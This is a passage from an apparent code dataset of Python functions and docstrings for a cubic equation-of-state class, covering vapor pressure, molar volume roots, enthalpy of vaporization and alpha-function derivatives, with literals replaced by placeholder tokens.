\\left(\\frac{\\partial V}{\\partial T}\\right)_P =-\\frac{\n            \\left(\\frac{\\partial P}{\\partial T}\\right)_V}{\n            \\left(\\frac{\\partial P}{\\partial V}\\right)_T}\n\n            \\left(\\frac{\\partial V}{\\partial P}\\right)_T =-\\frac{\n            \\left(\\frac{\\partial V}{\\partial T}\\right)_P}{\n            \\left(\\frac{\\partial P}{\\partial T}\\right)_V}            \n\n            \\left(\\frac{\\partial T}{\\partial V}\\right)_P = \\frac{1}\n            {\\left(\\frac{\\partial V}{\\partial T}\\right)_P}\n\n            \\left(\\frac{\\partial T}{\\partial P}\\right)_V = \\frac{1}\n            {\\left(\\frac{\\partial P}{\\partial T}\\right)_V}\n\n        Second derivatives with respect to one variable; those of `T` and `V`\n        use identities shown in [1]_ and verified numerically:\n\n        .. math::\n            \\left(\\frac{\\partial^2  P}{\\partial T^2}\\right)_V =  - \\frac{a \n            \\frac{d^{2} \\alpha{\\left (T \\right )}}{d T^{2}}}{V^{2} + V \\delta \n            + \\epsilon}\n\n            \\left(\\frac{\\partial^2  P}{\\partial V^2}\\right)_T = 2 \\left(\\frac{\n            R T}{\\left(V - b\\right)^{3}} - \\frac{a \\left(2 V + \\delta\\right)^{\n            2} \\alpha{\\left (T \\right )}}{\\left(V^{2} + V \\delta + \\epsilon\n            \\right)^{3}} + \\frac{a \\alpha{\\left (T \\right )}}{\\left(V^{2} + V \n            \\delta + \\epsilon\\right)^{2}}\\right)\n\n            \\left(\\frac{\\partial^2 T}{\\partial P^2}\\right)_V = -\\left(\\frac{\n            \\partial^2 P}{\\partial T^2}\\right)_V \\left(\\frac{\\partial P}{\n            \\partial T}\\right)^{-3}_V\n\n            \\left(\\frac{\\partial^2 V}{\\partial P^2}\\right)_T = -\\left(\\frac{\n            \\partial^2 P}{\\partial V^2}\\right)_T \\left(\\frac{\\partial P}{\n            \\partial V}\\right)^{-3}_T\n\n            \\left(\\frac{\\partial^2 T}{\\partial V^2}\\right)_P = -\\left[\n            \\left(\\frac{\\partial^2 P}{\\partial V^2}\\right)_T\n            \\left(\\frac{\\partial P}{\\partial T}\\right)_V\n            - \\left(\\frac{\\partial P}{\\partial V}\\right)_T\n            \\left(\\frac{\\partial^2 P}{\\partial T \\partial V}\\right) \\right]\n            \\left(\\frac{\\partial P}{\\partial T}\\right)^{-2}_V\n            + \\left[\\left(\\frac{\\partial^2 P}{\\partial T\\partial V}\\right)\n            \\left(\\frac{\\partial P}{\\partial T}\\right)_V \n            - \\left(\\frac{\\partial P}{\\partial V}\\right)_T\n            \\left(\\frac{\\partial^2 P}{\\partial T^2}\\right)_V\\right]\n            \\left(\\frac{\\partial P}{\\partial T}\\right)_V^{-3}\n            \\left(\\frac{\\partial P}{\\partial V}\\right)_T\n\n            \\left(\\frac{\\partial^2 V}{\\partial T^2}\\right)_P = -\\left[\n            \\left(\\frac{\\partial^2 P}{\\partial T^2}\\right)_V\n            \\left(\\frac{\\partial P}{\\partial V}\\right)_T\n            - \\left(\\frac{\\partial P}{\\partial T}\\right)_V\n            \\left(\\frac{\\partial^2 P}{\\partial T \\partial V}\\right) \\right]\n            \\left(\\frac{\\partial P}{\\partial V}\\right)^{-2}_T\n            + \\left[\\left(\\frac{\\partial^2 P}{\\partial T\\partial V}\\right)\n            \\left(\\frac{\\partial P}{\\partial V}\\right)_T \n            - \\left(\\frac{\\partial P}{\\partial T}\\right)_V\n            \\left(\\frac{\\partial^2 P}{\\partial V^2}\\right)_T\\right]\n            \\left(\\frac{\\partial P}{\\partial V}\\right)_T^{-3}\n            \\left(\\frac{\\partial P}{\\partial T}\\right)_V\n\n\n        Second derivatives with respect to the other two variables; those of \n        `T` and `V` use identities shown in [1]_ and verified numerically:\n\n        .. math::\n            \\left(\\frac{\\partial^2 P}{\\partial T \\partial V}\\right) = - \\frac{\n            R}{\\left(V - b\\right)^{2}} + \\frac{a \\left(2 V + \\delta\\right) \n            \\frac{d \\alpha{\\left (T \\right )}}{d T}}{\\left(V^{2} + V \\delta \n            + \\epsilon\\right)^{2}}\n\n           \\left(\\frac{\\partial^2 T}{\\partial P\\partial V}\\right) = \n            - \\left[\\left(\\frac{\\partial^2 P}{\\partial T \\partial V}\\right)\n            \\left(\\frac{\\partial P}{\\partial T}\\right)_V\n            - \\left(\\frac{\\partial P}{\\partial V}\\right)_T\n            \\left(\\frac{\\partial^2 P}{\\partial T^2}\\right)_V\n            \\right]\\left(\\frac{\\partial P}{\\partial T}\\right)_V^{-3}\n\n            \\left(\\frac{\\partial^2 V}{\\partial T\\partial P}\\right) = \n            - \\left[\\left(\\frac{\\partial^2 P}{\\partial T \\partial V}\\right)\n            \\left(\\frac{\\partial P}{\\partial V}\\right)_T\n            - \\left(\\frac{\\partial P}{\\partial T}\\right)_V\n            \\left(\\frac{\\partial^2 P}{\\partial V^2}\\right)_T\n            \\right]\\left(\\frac{\\partial P}{\\partial V}\\right)_T^{-3}\n\n        Excess properties\n\n        .. math::\n            H_{dep} = \\int_{\\infty}^V \\left[T\\frac{\\partial P}{\\partial T}_V \n            - P\\right]dV + PV - RT= P V - R T + \\frac{2}{\\sqrt{\n            \\delta^{2} - 4 \\epsilon}} \\left(T a \\frac{d \\alpha{\\left (T \\right \n            )}}{d T}  - a \\alpha{\\left (T \\right )}\\right) \\operatorname{atanh}\n            {\\left (\\frac{2 V + \\delta}{\\sqrt{\\delta^{2} - 4 \\epsilon}} \n            \\right)}\n\n            S_{dep} = \\int_{\\infty}^V\\left[\\frac{\\partial P}{\\partial T} \n            - \\frac{R}{V}\\right] dV + R\\log\\frac{PV}{RT} = - R \\log{\\left (V \n            \\right )} + R \\log{\\left (\\frac{P V}{R T} \\right )} + R \\log{\\left\n            (V - b \\right )} + \\frac{2 a \\frac{d\\alpha{\\left (T \\right )}}{d T}\n            }{\\sqrt{\\delta^{2} - 4 \\epsilon}} \\operatorname{atanh}{\\left (\\frac\n            {2 V + \\delta}{\\sqrt{\\delta^{2} - 4 \\epsilon}} \\right )}\n\n            V_{dep} = V - \\frac{RT}{P}\n\n            U_{dep} = H_{dep} - P V_{dep}\n\n            G_{dep} = H_{dep} - T S_{dep}\n\n            A_{dep} = U_{dep} - T S_{dep}\n\n            \\text{fugacity} = P\\exp\\left(\\frac{G_{dep}}{RT}\\right)\n\n            \\phi = \\frac{\\text{fugacity}}{P}\n\n            C_{v, dep} = T\\int_\\infty^V \\left(\\frac{\\partial^2 P}{\\partial \n            T^2}\\right) dV = - T a \\left(\\sqrt{\\frac{1}{\\delta^{2} - 4 \n            \\epsilon}} \\log{\\left (V - \\frac{\\delta^{2}}{2} \\sqrt{\\frac{1}{\n            \\delta^{2} - 4 \\epsilon}} + \\frac{\\delta}{2} + 2 \\epsilon \\sqrt{\n            \\frac{1}{\\delta^{2} - 4 \\epsilon}} \\right )} - \\sqrt{\\frac{1}{\n            \\delta^{2} - 4 \\epsilon}} \\log{\\left (V + \\frac{\\delta^{2}}{2} \n            \\sqrt{\\frac{1}{\\delta^{2} - 4 \\epsilon}} + \\frac{\\delta}{2} \n            - 2 \\epsilon \\sqrt{\\frac{1}{\\delta^{2} - 4 \\epsilon}} \\right )}\n            \\right) \\frac{d^{2} \\alpha{\\left (T \\right )} }{d T^{2}}  \n\n            C_{p, dep} = (C_p-C_v)_{\\text{from EOS}} + C_{v, dep} - R\n\n\n        References\n        ----------\n        .. [1] Thorade, Matthis, and Ali Saadat. \"Partial Derivatives of \n           Thermodynamic State Properties for Dynamic Simulation.\" \n           Environmental Earth Sciences 70, no. 8 (April 10, 2013): 3497-3503.\n           doi:10.1007/s12665-013-2394-z.\n        .. [2] Poling, Bruce E. The Properties of Gases and Liquids. 5th \n           edition. New York: McGraw-Hill Professional, 2000.\n        .. [3] Walas, Stanley M. Phase Equilibria in Chemical Engineering. \n           Butterworth-Heinemann, 1985.", "id": "f15780:c0:m3"}
{"signature": "def a_alpha_and_derivatives(self, T, full=True, quick=True):", "body": "raise NotImplemented('<STR_LIT>')<EOL>", "docstring": "Dummy method to calculate `a_alpha` and its first and second\n        derivatives. Should be implemented with the same function signature in \n        each EOS variant; this only raises a NotImplemented Exception.\n        Should return 'a_alpha', 'da_alpha_dT', and 'd2a_alpha_dT2'.\n\n        For use in `solve_T`, returns only `a_alpha` if `full` is False.\n\n        Parameters\n        ----------\n        T : float\n            Temperature, [K]\n        full : bool, optional\n            If False, calculates and returns only `a_alpha`\n        quick : bool, optional\n            Whether to use a SymPy cse-derived expression (3x faster) or \n            individual formulas\n\n        Returns\n        -------\n        a_alpha : float\n            Coefficient calculated by EOS-specific method, [J^2/mol^2/Pa]\n        da_alpha_dT : float\n            Temperature derivative of coefficient calculated by EOS-specific \n            method, [J^2/mol^2/Pa/K]\n        d2a_alpha_dT2 : float\n            Second temperature derivative of coefficient calculated by  \n            EOS-specific method, [J^2/mol^2/Pa/K**2]", "id": "f15780:c0:m4"}
{"signature": "def solve_T(self, P, V, quick=True):", "body": "def to_solve(T):<EOL><INDENT>a_alpha = self.a_alpha_and_derivatives(T, full=False)<EOL>P_calc = R*T/(V-self.b) - a_alpha/(V*V + self.delta*V + self.epsilon)<EOL>return P_calc - P<EOL><DEDENT>return newton(to_solve, self.Tc*<NUM_LIT:0.5>)<EOL>", "docstring": "Generic method to calculate `T` from a specified `P` and `V`.\n        Provides SciPy's `newton` solver, and iterates to solve the general\n        equation for `P`, recalculating `a_alpha` as a function of temperature\n        using `a_alpha_and_derivatives` each iteration.\n\n        Parameters\n        ----------\n        P : float\n            Pressure, [Pa]\n        V : float\n            Molar volume, [m^3/mol]\n        quick : bool, optional\n            Whether to use a SymPy cse-derived expression (3x faster) or \n            individual formulas - not applicable where a numerical solver is\n            used.\n\n        Returns\n        -------\n        T : float\n            Temperature, [K]", "id": "f15780:c0:m5"}
{"signature": "@staticmethod<EOL><INDENT>def volume_solutions(T, P, b, delta, epsilon, a_alpha, quick=True):<DEDENT>", "body": "if quick:<EOL><INDENT>x0 = <NUM_LIT:1.>/P<EOL>x1 = P*b<EOL>x2 = R*T<EOL>x3 = P*delta<EOL>x4 = x1 + x2 - x3<EOL>x5 = x0*x4<EOL>x6 = a_alpha*b<EOL>x7 = epsilon*x1<EOL>x8 = epsilon*x2<EOL>x9 = x0*x0<EOL>x10 = P*epsilon<EOL>x11 = delta*x1<EOL>x12 = delta*x2<EOL>x13 = <NUM_LIT>*a_alpha<EOL>x14 = <NUM_LIT>*x10<EOL>x15 = <NUM_LIT>*x11<EOL>x16 = <NUM_LIT>*x12<EOL>x17 = -x1 - x2 + x3<EOL>x18 = x0*x17*x17<EOL>x19 = ((-<NUM_LIT>*x0*(x6 + x7 + x8) - <NUM_LIT>*x4*x9*(-a_alpha - x10 + x11 + x12) + ((x9*(-<NUM_LIT>*x0*(-x13 - x14 + x15 + x16 + x18)**<NUM_LIT:3> + (-<NUM_LIT>*x0*x17*(a_alpha + x10 - x11 - x12) + <NUM_LIT>*x17*x17*x17*x9 - <NUM_LIT>*(x6 + x7 + x8))**<NUM_LIT:2>))+<NUM_LIT>)**<NUM_LIT:0.5>*<NUM_LIT:0.5> - x4**<NUM_LIT:3>*x9*x0)+<NUM_LIT>)**(<NUM_LIT:1.>/<NUM_LIT>)<EOL>x20 = x13 + x14 - x15 - x16 - x18<EOL>x22 = <NUM_LIT>*x5<EOL>x24 = <NUM_LIT> + <NUM_LIT:1.><EOL>x25 = <NUM_LIT>*x0*x20/x19<EOL>x26 = -<NUM_LIT> + <NUM_LIT:1.><EOL>return [(x0*x20/x19 - x19 + x5)/<NUM_LIT>,<EOL>(x19*x24 + x22 - x25/x24)/<NUM_LIT>,<EOL>(x19*x26 + x22 - x25/x26)/<NUM_LIT>]<EOL><DEDENT>else:<EOL><INDENT>return [-(-<NUM_LIT:3>*(-P*b*delta + P*epsilon - R*T*delta + a_alpha)/P + (-P*b + P*delta - R*T)**<NUM_LIT:2>/P**<NUM_LIT:2>)/(<NUM_LIT:3>*(sqrt(-<NUM_LIT:4>*(-<NUM_LIT:3>*(-P*b*delta + P*epsilon - R*T*delta + a_alpha)/P + (-P*b + P*delta - R*T)**<NUM_LIT:2>/P**<NUM_LIT:2>)**<NUM_LIT:3> + (<NUM_LIT>*(-P*b*epsilon - R*T*epsilon - a_alpha*b)/P - <NUM_LIT:9>*(-P*b + P*delta - R*T)*(-P*b*delta + P*epsilon - R*T*delta + a_alpha)/P**<NUM_LIT:2> + <NUM_LIT:2>*(-P*b + P*delta - R*T)**<NUM_LIT:3>/P**<NUM_LIT:3>)**<NUM_LIT:2>)/<NUM_LIT:2> + <NUM_LIT>*(-P*b*epsilon - R*T*epsilon - a_alpha*b)/(<NUM_LIT:2>*P) - <NUM_LIT:9>*(-P*b + P*delta - R*T)*(-P*b*delta + P*epsilon - R*T*delta + a_alpha)/(<NUM_LIT:2>*P**<NUM_LIT:2>) + (-P*b + P*delta - R*T)**<NUM_LIT:3>/P**<NUM_LIT:3>)**(<NUM_LIT:1>/<NUM_LIT:3>)) - (sqrt(-<NUM_LIT:4>*(-<NUM_LIT:3>*(-P*b*delta + P*epsilon - R*T*delta + a_alpha)/P + (-P*b + P*delta - R*T)**<NUM_LIT:2>/P**<NUM_LIT:2>)**<NUM_LIT:3> + (<NUM_LIT>*(-P*b*epsilon - R*T*epsilon - a_alpha*b)/P - <NUM_LIT:9>*(-P*b + P*delta - R*T)*(-P*b*delta + P*epsilon - R*T*delta + a_alpha)/P**<NUM_LIT:2> + <NUM_LIT:2>*(-P*b + P*delta - R*T)**<NUM_LIT:3>/P**<NUM_LIT:3>)**<NUM_LIT:2>)/<NUM_LIT:2> + <NUM_LIT>*(-P*b*epsilon - R*T*epsilon - a_alpha*b)/(<NUM_LIT:2>*P) - <NUM_LIT:9>*(-P*b + P*delta - R*T)*(-P*b*delta + P*epsilon - R*T*delta + a_alpha)/(<NUM_LIT:2>*P**<NUM_LIT:2>) + (-P*b + P*delta - R*T)**<NUM_LIT:3>/P**<NUM_LIT:3>)**(<NUM_LIT:1>/<NUM_LIT:3>)/<NUM_LIT:3> - (-P*b + P*delta - R*T)/(<NUM_LIT:3>*P),<EOL>-(-<NUM_LIT:3>*(-P*b*delta + P*epsilon - R*T*delta + a_alpha)/P + (-P*b + P*delta - R*T)**<NUM_LIT:2>/P**<NUM_LIT:2>)/(<NUM_LIT:3>*(-<NUM_LIT:1>/<NUM_LIT:2> - sqrt(<NUM_LIT:3>)*<NUM_LIT>/<NUM_LIT:2>)*(sqrt(-<NUM_LIT:4>*(-<NUM_LIT:3>*(-P*b*delta + P*epsilon - R*T*delta + a_alpha)/P + (-P*b + P*delta - R*T)**<NUM_LIT:2>/P**<NUM_LIT:2>)**<NUM_LIT:3> + (<NUM_LIT>*(-P*b*epsilon - R*T*epsilon - a_alpha*b)/P - <NUM_LIT:9>*(-P*b + P*delta - R*T)*(-P*b*delta + P*epsilon - R*T*delta + a_alpha)/P**<NUM_LIT:2> + <NUM_LIT:2>*(-P*b + P*delta - R*T)**<NUM_LIT:3>/P**<NUM_LIT:3>)**<NUM_LIT:2>)/<NUM_LIT:2> + <NUM_LIT>*(-P*b*epsilon - R*T*epsilon - a_alpha*b)/(<NUM_LIT:2>*P) - <NUM_LIT:9>*(-P*b + P*delta - R*T)*(-P*b*delta + P*epsilon - R*T*delta + a_alpha)/(<NUM_LIT:2>*P**<NUM_LIT:2>) + (-P*b + P*delta - R*T)**<NUM_LIT:3>/P**<NUM_LIT:3>)**(<NUM_LIT:1>/<NUM_LIT:3>)) - (-<NUM_LIT:1>/<NUM_LIT:2> - sqrt(<NUM_LIT:3>)*<NUM_LIT>/<NUM_LIT:2>)*(sqrt(-<NUM_LIT:4>*(-<NUM_LIT:3>*(-P*b*delta + P*epsilon - R*T*delta + a_alpha)/P + (-P*b + P*delta - R*T)**<NUM_LIT:2>/P**<NUM_LIT:2>)**<NUM_LIT:3> + (<NUM_LIT>*(-P*b*epsilon - R*T*epsilon - a_alpha*b)/P - <NUM_LIT:9>*(-P*b + P*delta - R*T)*(-P*b*delta + P*epsilon - R*T*delta + a_alpha)/P**<NUM_LIT:2> + <NUM_LIT:2>*(-P*b + P*delta - R*T)**<NUM_LIT:3>/P**<NUM_LIT:3>)**<NUM_LIT:2>)/<NUM_LIT:2> + <NUM_LIT>*(-P*b*epsilon - R*T*epsilon - a_alpha*b)/(<NUM_LIT:2>*P) - <NUM_LIT:9>*(-P*b + P*delta - R*T)*(-P*b*delta + P*epsilon - R*T*delta + a_alpha)/(<NUM_LIT:2>*P**<NUM_LIT:2>) + (-P*b + P*delta - R*T)**<NUM_LIT:3>/P**<NUM_LIT:3>)**(<NUM_LIT:1>/<NUM_LIT:3>)/<NUM_LIT:3> - (-P*b + P*delta - R*T)/(<NUM_LIT:3>*P),<EOL>-(-<NUM_LIT:3>*(-P*b*delta + P*epsilon - R*T*delta + a_alpha)/P + (-P*b + P*delta - R*T)**<NUM_LIT:2>/P**<NUM_LIT:2>)/(<NUM_LIT:3>*(-<NUM_LIT:1>/<NUM_LIT:2> + sqrt(<NUM_LIT:3>)*<NUM_LIT>/<NUM_LIT:2>)*(sqrt(-<NUM_LIT:4>*(-<NUM_LIT:3>*(-P*b*delta + P*epsilon - R*T*delta + a_alpha)/P + (-P*b + P*delta - R*T)**<NUM_LIT:2>/P**<NUM_LIT:2>)**<NUM_LIT:3> + (<NUM_LIT>*(-P*b*epsilon - R*T*epsilon - a_alpha*b)/P - <NUM_LIT:9>*(-P*b + P*delta - R*T)*(-P*b*delta + P*epsilon - R*T*delta + a_alpha)/P**<NUM_LIT:2> + <NUM_LIT:2>*(-P*b + P*delta - R*T)**<NUM_LIT:3>/P**<NUM_LIT:3>)**<NUM_LIT:2>)/<NUM_LIT:2> + <NUM_LIT>*(-P*b*epsilon - R*T*epsilon - a_alpha*b)/(<NUM_LIT:2>*P) - <NUM_LIT:9>*(-P*b + P*delta - R*T)*(-P*b*delta + P*epsilon - R*T*delta + a_alpha)/(<NUM_LIT:2>*P**<NUM_LIT:2>) + (-P*b + P*delta - R*T)**<NUM_LIT:3>/P**<NUM_LIT:3>)**(<NUM_LIT:1>/<NUM_LIT:3>)) - (-<NUM_LIT:1>/<NUM_LIT:2> + sqrt(<NUM_LIT:3>)*<NUM_LIT>/<NUM_LIT:2>)*(sqrt(-<NUM_LIT:4>*(-<NUM_LIT:3>*(-P*b*delta + P*epsilon - R*T*delta + a_alpha)/P + (-P*b + P*delta - R*T)**<NUM_LIT:2>/P**<NUM_LIT:2>)**<NUM_LIT:3> + (<NUM_LIT>*(-P*b*epsilon - R*T*epsilon - a_alpha*b)/P - <NUM_LIT:9>*(-P*b + P*delta - R*T)*(-P*b*delta + P*epsilon - R*T*delta + a_alpha)/P**<NUM_LIT:2> + <NUM_LIT:2>*(-P*b + P*delta - R*T)**<NUM_LIT:3>/P**<NUM_LIT:3>)**<NUM_LIT:2>)/<NUM_LIT:2> + <NUM_LIT>*(-P*b*epsilon - R*T*epsilon - a_alpha*b)/(<NUM_LIT:2>*P) - <NUM_LIT:9>*(-P*b + P*delta - R*T)*(-P*b*delta + P*epsilon - R*T*delta + a_alpha)/(<NUM_LIT:2>*P**<NUM_LIT:2>) + (-P*b + P*delta - R*T)**<NUM_LIT:3>/P**<NUM_LIT:3>)**(<NUM_LIT:1>/<NUM_LIT:3>)/<NUM_LIT:3> - (-P*b + P*delta - R*T)/(<NUM_LIT:3>*P)]<EOL><DEDENT>", "docstring": "r'''Solution of this form of the cubic EOS in terms of volumes. Returns\n        three values, all with some complex part.  \n\n        Parameters\n        ----------\n        T : float\n            Temperature, [K]\n        P : float\n            Pressure, [Pa]\n        b : float\n            Coefficient calculated by EOS-specific method, [m^3/mol]\n        delta : float\n            Coefficient calculated by EOS-specific method, [m^3/mol]\n        epsilon : float\n            Coefficient calculated by EOS-specific method, [m^6/mol^2]\n        a_alpha : float\n            Coefficient calculated by EOS-specific method, [J^2/mol^2/Pa]\n        quick : bool, optional\n            Whether to use a SymPy cse-derived expression (3x faster) or \n            individual formulas\n\n        Returns\n        -------\n        Vs : list[float]\n            Three possible molar volumes, [m^3/mol]\n\n        Notes\n        -----\n        Using explicit formulas, as can be derived in the following example,\n        is faster than most numeric root finding techniques, and\n        finds all values explicitly. It takes several seconds.\n\n        >>> from sympy import *\n        >>> P, T, V, R, b, a, delta, epsilon, alpha = symbols('P, T, V, R, b, a, delta, epsilon, alpha')\n        >>> Tc, Pc, omega = symbols('Tc, Pc, omega')\n        >>> CUBIC = R*T/(V-b) - a*alpha/(V*V + delta*V + epsilon) - P\n        >>> #solve(CUBIC, V)", "id": "f15780:c0:m6"}
{"signature": "def Psat(self, T, polish=False):", "body": "alpha = self.a_alpha_and_derivatives(T, full=False)/self.a<EOL>Tr = T/self.Tc<EOL>x = alpha/Tr - <NUM_LIT:1.><EOL>c = self.Psat_coeffs_limiting if Tr < <NUM_LIT> else self.Psat_coeffs<EOL>y = horner(c, x)<EOL>try:<EOL><INDENT>Psat = exp(y)*Tr*self.Pc<EOL><DEDENT>except OverflowError:<EOL><INDENT>polish = False<EOL>Psat = <NUM_LIT:0><EOL><DEDENT>if polish:<EOL><INDENT>def to_solve(P):<EOL><INDENT>e = self.__class__(Tc=self.Tc, Pc=self.Pc, omega=self.omega, T=T, P=P)<EOL>err = e.fugacity_l - e.fugacity_g<EOL>return err<EOL><DEDENT>Psat = newton(to_solve, Psat)<EOL><DEDENT>return Psat<EOL>", "docstring": "r'''Generic method to calculate vapor pressure for a specified `T`.\n\n        From Tc to 0.32Tc, uses a 10th order polynomial of the following form:\n\n        .. math::\n            \\ln\\frac{P_r}{T_r} = \\sum_{k=0}^{10} C_k\\left(\\frac{\\alpha}{T_r}\n            -1\\right)^{k}\n\n        If `polish` is True, SciPy's `newton` solver is launched with the \n        calculated vapor pressure as an initial guess in an attempt to get more\n        accuracy. This may not converge however.\n\n        Results above the critical temperature are meaningless. A first-order \n        polynomial is used to extrapolate under 0.32 Tc; however, there is \n        normally not a volume solution to the EOS which can produce that\n        low of a pressure.\n\n        Parameters\n        ----------\n        T : float\n            Temperature, [K]\n        polish : bool, optional\n            Whether to attempt to use a numerical solver to make the solution\n            more precise or not\n\n        Returns\n        -------\n        Psat : float\n            Vapor pressure, [Pa]\n\n        Notes\n        -----\n        EOSs sharing the same `b`, `delta`, and `epsilon` have the same\n        coefficient sets.\n\n        All coefficients were derived with numpy's polyfit. The intersection\n        between the polynomials is continuous, but there is a step change\n        in its derivative.\n\n        Form for the regression is inspired from [1]_.\n\n        References\n        ----------\n        .. [1] Soave, G. \"Direct Calculation of Pure-Compound Vapour Pressures \n           through Cubic Equations of State.\" Fluid Phase Equilibria 31, no. 2 \n           (January 1, 1986): 203-7. doi:10.1016/0378-3812(86)90013-0.", "id": "f15780:c0:m9"}
{"signature": "def dPsat_dT(self, T):", "body": "a_alphas = self.a_alpha_and_derivatives(T)<EOL>alpha, d_alpha_dT = a_alphas[<NUM_LIT:0>]/self.a, a_alphas[<NUM_LIT:1>]/self.a<EOL>Tr = T/self.Tc<EOL>if Tr >= <NUM_LIT>:<EOL><INDENT>c = self.Psat_coeffs<EOL>x0 = alpha/T<EOL>x1 = -self.Tc*x0 + <NUM_LIT:1><EOL>x2 = c[<NUM_LIT:0>]*x1<EOL>x3 = c[<NUM_LIT:2>] - x1*(c[<NUM_LIT:1>] - x2)<EOL>x4 = c[<NUM_LIT:3>] - x1*x3<EOL>x5 = c[<NUM_LIT:4>] - x1*x4<EOL>x6 = c[<NUM_LIT:5>] - x1*x5<EOL>x7 = c[<NUM_LIT:6>] - x1*x6<EOL>x8 = c[<NUM_LIT:7>] - x1*x7<EOL>x9 = c[<NUM_LIT:8>] - x1*x8<EOL>return self.Pc*(-(d_alpha_dT - x0)*(-c[<NUM_LIT:9>] + x1*x9 + x1*(-x1*(-x1*(-x1*(-x1*(-x1*(-x1*(-x1*(c[<NUM_LIT:1>] - <NUM_LIT:2>*x2) + x3) + x4) + x5) + x6) + x7) + x8) + x9)) + <NUM_LIT:1.>/self.Tc)*exp(c[<NUM_LIT:10>] - x1*(c[<NUM_LIT:9>] - x1*(c[<NUM_LIT:8>] - x1*(c[<NUM_LIT:7>] - x1*(c[<NUM_LIT:6>] - x1*(c[<NUM_LIT:5>] - x1*(c[<NUM_LIT:4>] - x1*(c[<NUM_LIT:3>] - x1*(c[<NUM_LIT:2>] + x1*(-c[<NUM_LIT:1>] + x2))))))))))    <EOL><DEDENT>else:<EOL><INDENT>c = self.Psat_coeffs_limiting<EOL>return self.Pc*T*c[<NUM_LIT:0>]*(self.Tc*d_alpha_dT/T - self.Tc*alpha/(T*T))*exp(c[<NUM_LIT:0>]*(-<NUM_LIT:1.> + self.Tc*alpha/T) + c[<NUM_LIT:1>])/self.Tc + self.Pc*exp(c[<NUM_LIT:0>]*(-<NUM_LIT:1.> + self.Tc*alpha/T) + c[<NUM_LIT:1>])/self.Tc<EOL><DEDENT>", "docstring": "r'''Generic method to calculate the temperature derivative of vapor \n        pressure for a specified `T`. Implements the analytical derivative\n        of the two polynomials described in `Psat`.\n\n        As with `Psat`, results above the critical temperature are meaningless. \n        The first-order polynomial which is used to calculate it under 0.32 Tc\n        may not be physicall meaningful, due to there normally not being a \n        volume solution to the EOS which can produce that low of a pressure.\n\n        Parameters\n        ----------\n        T : float\n            Temperature, [K]\n\n        Returns\n        -------\n        dPsat_dT : float\n            Derivative of vapor pressure with respect to temperature, [Pa/K]\n\n        Notes\n        -----\n        There is a small step change at 0.32 Tc for all EOS due to the two\n        switch between polynomials at that point.\n\n        Useful for calculating enthalpy of vaporization with the Clausius\n        Clapeyron Equation. Derived with SymPy's diff and cse.", "id": "f15780:c0:m10"}
{"signature": "def V_l_sat(self, T):", "body": "Psat = self.Psat(T)<EOL>a_alpha = self.a_alpha_and_derivatives(T, full=False)<EOL>Vs = self.volume_solutions(T, Psat, self.b, self.delta, self.epsilon, a_alpha)<EOL>return min([i.real for i in Vs])<EOL>", "docstring": "r'''Method to calculate molar volume of the liquid phase along the\n        saturation line.\n\n        Parameters\n        ----------\n        T : float\n            Temperature, [K]\n\n        Returns\n        -------\n        V_l_sat : float\n            Liquid molar volume along the saturation line, [m^3/mol]\n\n        Notes\n        -----\n        Computers `Psat`, and then uses `volume_solutions` to obtain the three\n        possible molar volumes. The lowest value is returned.", "id": "f15780:c0:m11"}
{"signature": "def V_g_sat(self, T):", "body": "Psat = self.Psat(T)<EOL>a_alpha = self.a_alpha_and_derivatives(T, full=False)<EOL>Vs = self.volume_solutions(T, Psat, self.b, self.delta, self.epsilon, a_alpha)<EOL>return max([i.real for i in Vs])<EOL>", "docstring": "r'''Method to calculate molar volume of the vapor phase along the\n        saturation line.\n\n        Parameters\n        ----------\n        T : float\n            Temperature, [K]\n\n        Returns\n        -------\n        V_g_sat : float\n            Gas molar volume along the saturation line, [m^3/mol]\n\n        Notes\n        -----\n        Computers `Psat`, and then uses `volume_solutions` to obtain the three\n        possible molar volumes. The highest value is returned.", "id": "f15780:c0:m12"}
{"signature": "def Hvap(self, T):", "body": "Psat = self.Psat(T)<EOL>dPsat_dT = self.dPsat_dT(T)<EOL>a_alpha = self.a_alpha_and_derivatives(T, full=False)<EOL>Vs = self.volume_solutions(T, Psat, self.b, self.delta, self.epsilon, a_alpha)<EOL>Vs = [i.real for i in Vs]<EOL>V_l, V_g = min(Vs), max(Vs)<EOL>return dPsat_dT*T*(V_g-V_l)<EOL>", "docstring": "r'''Method to calculate enthalpy of vaporization for a pure fluid from\n        an equation of state, without iteration.\n\n        .. math::\n            \\frac{dP^{sat}}{dT}=\\frac{\\Delta H_{vap}}{T(V_g - V_l)}\n\n        Results above the critical temperature are meaningless. A first-order \n        polynomial is used to extrapolate under 0.32 Tc; however, there is \n        normally not a volume solution to the EOS which can produce that\n        low of a pressure.\n\n        Parameters\n        ----------\n        T : float\n            Temperature, [K]\n\n        Returns\n        -------\n        Hvap : float\n            Increase in enthalpy needed for vaporization of liquid phase along \n            the saturation line, [J/mol]\n\n        Notes\n        -----\n        Calculates vapor pressure and its derivative with `Psat` and `dPsat_dT`\n        as well as molar volumes of the saturation liquid and vapor phase in\n        the process.\n\n        Very near the critical point this provides unrealistic results due to\n        `Psat`'s polynomials being insufficiently accurate.\n\n        References\n        ----------\n        .. [1] Walas, Stanley M. Phase Equilibria in Chemical Engineering. \n           Butterworth-Heinemann, 1985.", "id": "f15780:c0:m13"}
{"signature": "@staticmethod<EOL><INDENT>def Soave_1972(self, T, full=True, quick=True):<DEDENT>", "body": "c1 = self.alpha_function_coeffs[<NUM_LIT:0>]<EOL>T, Tc, a = self.T, self.Tc, self.a<EOL>a_alpha = a*(c1*(-sqrt(T/Tc) + <NUM_LIT:1>) + <NUM_LIT:1>)**<NUM_LIT:2><EOL>if not full:<EOL><INDENT>return a_alpha<EOL><DEDENT>else:<EOL><INDENT>da_alpha_dT = -a*c1*sqrt(T/Tc)*(c1*(-sqrt(T/Tc) + <NUM_LIT:1>) + <NUM_LIT:1>)/T<EOL>d2a_alpha_dT2 = a*c1*(c1/Tc - sqrt(T/Tc)*(c1*(sqrt(T/Tc) - <NUM_LIT:1>) - <NUM_LIT:1>)/T)/(<NUM_LIT:2>*T)<EOL>return a_alpha, da_alpha_dT, d2a_alpha_dT2<EOL><DEDENT>", "docstring": "r'''Method to calculate `a_alpha` and its first and second\n        derivatives according to Soave (1972) [1]_. Returns `a_alpha`, `da_alpha_dT`, and \n        `d2a_alpha_dT2`. See `GCEOS.a_alpha_and_derivatives` for more \n        documentation. Same as `SRK.a_alpha_and_derivatives` but slower and\n        requiring `alpha_function_coeffs` to be set. One coefficient needed.\n\n        .. math::\n            \\alpha = \\left(c_{1} \\left(- 